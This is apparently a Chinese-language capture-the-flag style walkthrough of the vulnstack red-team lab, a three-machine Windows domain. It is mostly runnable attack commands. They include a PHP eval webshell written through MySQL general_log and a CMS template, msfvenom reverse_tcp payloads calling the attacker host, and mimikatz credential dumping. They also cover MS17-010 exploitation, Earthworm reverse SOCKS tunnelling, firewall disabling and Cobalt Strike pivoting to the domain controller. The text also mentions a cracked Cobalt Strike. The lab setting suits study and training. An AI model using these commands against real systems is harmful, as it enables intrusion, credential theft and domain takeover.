声明
好好学习,天天向上
环境配置
下载地址,直接进去用百度云,没有会员也下的非常快
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
边下载着,可以开始vmware的网络配置
下图为官方给出的,从虚拟机网络来看
攻击者:kali+windows的攻击机
VM1:对外边界服务器,win7
VM2:域成员,2003
VM3:域控,2008
所以这中间出现两个网段,一个外网网段,一个内网网段
鉴于需要两个网段,我们需要在vmware上做一些配置
首先,用一块仅主机的VMnet1(192.168.52.0),另一块NAT的VMnet8(192.168.239.0),这个不会调,可以百度
调完Vmware,三台服务器都下好了,分别解压,然后,直接打开就好,主要是网络配置
win7相当于网关服务器,所以自然要两张网卡,顺序不要错哦
2003连VMnet1
2008连VMnet1
网络配置完成,现在,可以登进去每个服务器看一看,是不是成功获取了IP,密码hongrisec@2019,三台服务器密码都过期了,都需要改密码,可以改成HONGRISEC@2019
下面是我自动获取的结果
攻击者:
kali
192.168.239.198
windows
192.168.239.158
靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.239.202
VM2:域成员,2003
192.168.52.141
VM3:域控,2008
192.168.52.138
然后进入win7中,打开phpstudy
环境配置到此结束
战斗
Web渗透
kali扫描存活
arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24
扫描详细信息
nmap -T4 -A 192.168.239.202 -p 1-65535 -oN nmap.A
开启了80、135、3306
访问80
http://192.168.239.202
自动跳转到了php探针,相当于给了我们一些信息
往下翻,有mysql相关,试一试root/root
果然是个弱口令
没啥思路了,就扫描目录
使用dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u http://192.168.239.202
发现了不少有用的目录
访问一下phpmyadmin,使用root可以正常登录
http://192.168.239.202/phpmyAdmin
其实到了这一步,已经很有思路了,拿到了phpmyadmin的后台了,接下来就是想办法拿到shell了
两种方法:
方法1 phpmyadmin日志
利用phpmyadmin日志,写入一句话
先查看general log是否开启
show variables like '%general%';
打开general_log日志读写功能
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';
制作一个木马文件,要根据图中general_log_file中的绝对路径
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
往这个shell.php中写入一句话
SELECT '<?php eval($_POST["cmd"]);?>'
菜刀连一句话
http://192.168.239.202/shell.php
方法2 YXCMS模板
使用shell翻了翻目录,发现还有yxcms,dirsearch字典里面没有这个
访问一下
http://192.168.239.202/yxcms/
注册一个,登录试试
好像也没啥
扫一下目录吧再,upload也不行
python3 dirsearch.py -u http://192.168.239.202/yxcms/
查看页面,提示后台
访问后台
http://192.168.239.202/yxcms/index.php?r=admin
admin/123456
CMS相关系列,能拿到后台的,离shell还远吗,不是日志写入一句话,就是某某模板编译写入一句话,找模板编辑的地方
这几个模板字,太亮眼了,点击进入编辑
访问了多个模板php,发现都没法访问,只能对最熟悉的index下手
这个逻辑可能是,index_index.php,直接访问,是访问不到的,而,能通过调用index.php,间接调用index_index.php,所以我们往index_index.php中,插入一句话,连接的应该是index.php
插入一句话
<?php eval($_POST["yx"]);?>
菜刀连接
http://192.168.239.202/yxcms/index.php
拿到shell
权限维持/提升
现在已经拿到webshell了,接着就是持久化控制这个shell
3389远程登录
查看3389端口开了没,果然没开(菜刀直接ctrl+v)
netstat -an | find "3389"
开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
顺便附上关闭3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
添加用户,加管理员组权限
net user weizi 1234!@#$QWER /add
net localgroup administrators weizi /add
net user weizi
远程连接3389,失败
换思路
MSF
这次启动还挺漂亮的,不过用的是msfvenom
使用msfvenom生成木马payload,里面的IP和端口自行修改,就是反弹shell的kali
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.198 lport=6666 -f exe -o shell.exe
生成一个shell.exe
再用菜刀传到刚刚的win7中
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set lport 6666
run
run了以后,可以去菜刀那里执行exe
查看msf监听内容
拿到了meterpreter的shell,开始提权,成功提权到system
getuid
getsystem
getuid
开启远程桌面
run post/windows/manage/enable_rdp
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
run multi_console_command -r /root/.msf4/loot/20210401140702_default_192.168.239.202_host.windows.cle_620509.txt
我又回过头看了一下,域是Administrator
登录
Sunny-Ngrok隧道创建
建立隧道,就是端口转发,用他们的公网转到本地的内网3389
访问,自己创建一个账户,关注微信公众号
https://www.ngrok.cc/
选择美国Ngrok免费服务器
这是我已经创建好的
创建好后,记录下隧道id,下载客户端工具连接隧道id
启动后提示你输入隧道id,输入后,就可以看到online
然后连接,好慢,不等了
mimikatz破解密码
可以用菜刀上传一个mimikatz,然后执行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
右键编辑
或者用msf的meterpreter
查询explorer进程PID,为2680
ps
ps | find "explorer"
注入516,因为它是system
migrate 516
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
失败了,因为mimikatz已经被kiwi取代,功能更强大了,真牛
获取密码
creds_all
内网渗透
信息收集
这台服务器基本已经算是拿下了,现在可以进行横向,看看内网还有什么服务器了
需要先进行一波信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
查看内网IP
ipconfig /all
查询域列表
net view /domain
这里转蚁剑了,菜刀字体不太会调整,有点小
查看路由信息
整理一下目前收集到的信息
该域名为god.org
域控为OWA$
域管理员为Administrator
密码为HONGRISEC@2019
内网网段为192.168.52.1/24
拿到域控IP192.168.52.138,及内网网段192.168.52.1/24
ping owa.god.org
使用cmd,写一个for循环,遍历最后一位255
对192.168.52.I进行ping(I在1-254之前,每次+1),如果结果返回有TTL就打印IP
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
回到msf,进入windows的shell,拿到了三个IP,其中一个是自己,一个是域控,还有一个域成员
shell
内网IP表
域控192.168.52.138
web网关服务器192.168.52.143(已拿下)
还有一个域成员192.168.52.141
msf添加对141的路由
run autoroute -p
run autoroute -s 192.168.52.0/24
run autoroute -p
横向渗透
加入了52段的路由,现在我就可以正常访问到52段了
扫描内网ms17_010,141存在
background
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit
漏洞利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 6667
set RHOST 192.168.52.141
exploit
执行失败了,说漏洞利用模块仅支持64位的,换个思路开启3389
首先需要加代理
这里说一下为什么要加代理,我们的kali是239段的,内网是52段的,kali是无法直接访问52段,只能通过在刚拿下的52.143(239.202)这台win7上做个代理,这样,可以“假装”自己是52.143,通过52.143就可以访问其他52段的服务器
而刚刚做的路由,只是让msf能访问到52段,这个是让kali访问
Earthworm代理工具
下载地址
https://github.com/idlefire/ew
https://www.lanzous.com/i78bvvi
不太明白代理的童鞋可以看看这篇文章,说的非常详细了
https://my.oschina.net/u/4587410/blog/4984002
我这里就使用反向代理
kali,解压执行
unzip ew.zip
cd release
./ew_for_linux64 -s rcsocks -l 1080 -e 9999
然后将ew_for_Win_exe使用蚁剑传送到win7,也就是我们的跳板机,192.168.239.202上,执行
cd C:\phpStudy\WWW
ew_for_Win.exe -s rssocks -d 192.168.239.198 -e 9999
kali修改proxychains配置文件
vim /etc/proxychains4.conf
结尾增加一行,别忘了要注释掉其他的
socks5 192.168.239.202 1080
保存后,就可以访问了141试一试了,不加代理,没反应啊
proxychains nmap -Pn -sT 192.16.42.141
nmap -Pn -sT 192.16.42.141
没有开启3389
proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141
利用msf开启3389(command参数是命令,还以先试试whoami能跑通不)
可以直接启动msf或者使用代理启动
proxychains4 msfconsole
00000000为开启
00000001位关闭
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command whoami
set COMMAND REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
exploit
再次查看3389端口,可以看到已经开启了
proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141
使用linux命令行开启141的3389,能打开,隧道建立完毕,正常连接
proxychains4 rdesktop 192.168.52.141
有了这条路,我们就可以利用刚刚执行开启3389的地方,添加用户(模块还是一样,只是改了命令)
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command net user weizi HONGRISEC@2019 /add
run
加入管理员组
set command net localgroup administrators weizi /add
run
查看一下是否添加成功
set command net localgroup administrators
run
然后使用exploit/windows/smb/ms17_010_psexec ,这次我加上用户名和密码试试看
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 4444
set RHOST 192.168.52.141
set SMBUser weizi
set SMBPass HONGRISEC@2019
run
几经波折,还是打不进去,机器都打蓝屏了,硬是没有shell
3389域账户过去吧
proxychains4 rdesktop 192.168.52.141
God\administrator
HONGRISEC@2019
还可以磁盘映射过去上传东西
proxychains4 rdesktop 192.168.52.141 -r clipboard:PRIMARYCLIPBOARD -r disk:abc=/app/vulnstack/
域控
3389连接失败
proxychains4 rdesktop 192.168.52.138
proxychains nmap -Pn -sT 192.16.42.141 -p 3389
通过win7在域控上面上传一个msf马
先用win7连接域控的c盘共享
net use \\192.168.52.138\c$ "HONGRISEC@2019" /user:"administrator"
dir \\192.168.52.138\c$
后面,大佬们将win7主机上的shell.exe上传到域控上,这个也不知道大佬最后怎么成的,反正感觉还是学到了不少了
补充:Cobalt Strike
CS地址,关注HACK学习呀,大佬!!我用的4.2破解版
毕竟还是学习,所以CS的思路的用法也是要练一练的,让我再次回到msf拿到shell的时候
msf已经拿到了meterpreter
现在把这个meterpreter的shell派生到CS上面,也就是让CS也也拿到一个shell
MSF派生CS win7的Shell
打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver 192.168.239.198 123456
密码和证书一会登录的时候需要
开启客户端
./cobaltstrike
密码就填刚刚的123456
创建一个Lisenter,相当于msf的handler
msf中我现在的这个meterpreter的session id为1
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1
run
再次回到CS中,shell过来了,上线了
CS这个炫酷的界面,反弹了shell
拿到CSshell后,一般先将回显时间由默认的60s改成1s
sleep 1
CS的shell,执行windows的命令时,只需要在命令前加shell就好
CS制作木马反弹Shell
添加一个用于接收beacon的listener
制作木马
将生成的exe文件,用蚁剑拷贝到win7上,然后蚁剑执行
CS拿到shell
提权
目前,我们已经用CS拿到了两个win7的shell,后面的用哪个都可以
随便选一个进行漏洞提权
当然要在加一个监听
成功提权
横向移动
查看防火墙,关闭防火墙
shell netsh firewall show state
shell netsh advfirewall set allprofiles state off
获取域内目标,多执行几次,就会在Targets中找到局域网内的目标
net view
查了很多次,就是没有52段的字眼,管他呢,直接弄
可以看到目标中,name分三块
STU1也就是我们的win7
还有两台OWA和ROOT-TVI862UBEH,虽然IP没对上我们之前设置的52段的,但是在其中随便选一台先搞
先抓取win7中的密码
hashdump
logonpasswords
执行完后,查看凭证
攻击域控
增加smb listener
随便挑选一个OWA的,右键
填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch
成功拿到域控权限
同样的方式
拿密码,选域,Listener还选刚刚的那个,Session选刚拿到的域控的
成功上线,三台SYSTEM均拿到